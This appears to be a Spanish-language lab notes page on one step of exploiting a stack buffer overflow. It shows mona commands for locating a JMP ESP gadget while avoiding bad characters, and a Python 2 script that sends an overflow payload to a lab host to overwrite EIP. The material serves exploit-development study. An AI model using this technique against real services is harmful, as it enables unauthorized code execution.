Finding The Right Module

Finding FFE4 jmp esp

Para encontrar los módulos que no tienen ASLR y DES, puede ejecutar dentro de ImmunityDebugger:

!mona modules (En la consola de Immunity Debugger)

Para buscar la DLL se ejecuta lo siguiente:

// /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp
## Con el comando previo se explica de donde sale el ffe4

!mona find -s "\xff\xe4" -m archivo.dll (o .exe si no hay dll)

!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"
# Este comando es equivalente al previo pero con los badChars

Del resultado se toma el primero (maybe)

#!/usr/bin/python2.7
import sys, socket

# El valor del address lo tomas del primer resultado del comando find de mona
#Address=625011AF
# \xAF\x11\x50\x62 Este valor le sigue al OFFSET

shellcode = "A" * VALOR_DEL_OFFSET + "\xAF\x11\x50\x62" 

while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('10.10.10.111',3000))

        s.send(('FUNCION /.:/' + shellcode))
        s.close()

    except:
        print "Server error"
        sys.exit()

Se inicia el Inmunity Debugger y el binario.

(Se debe pegar el Address normal 625011AF y buscarlo: el valor debe estar en FFE4 JMP ESP)

Se presiona el F2 en el address encontrada 625011AF para colocar un breakpoint y luego se ejecuta el script desarrollado DESPUES.

El EIP debería cambiar con el Valor del Address.

Pasos extra para DBG

# Click derecho
# GO TO
# EXPRESSION
Configurar la expression con el valor del address a buscar

Última actualización

¿Te fue útil?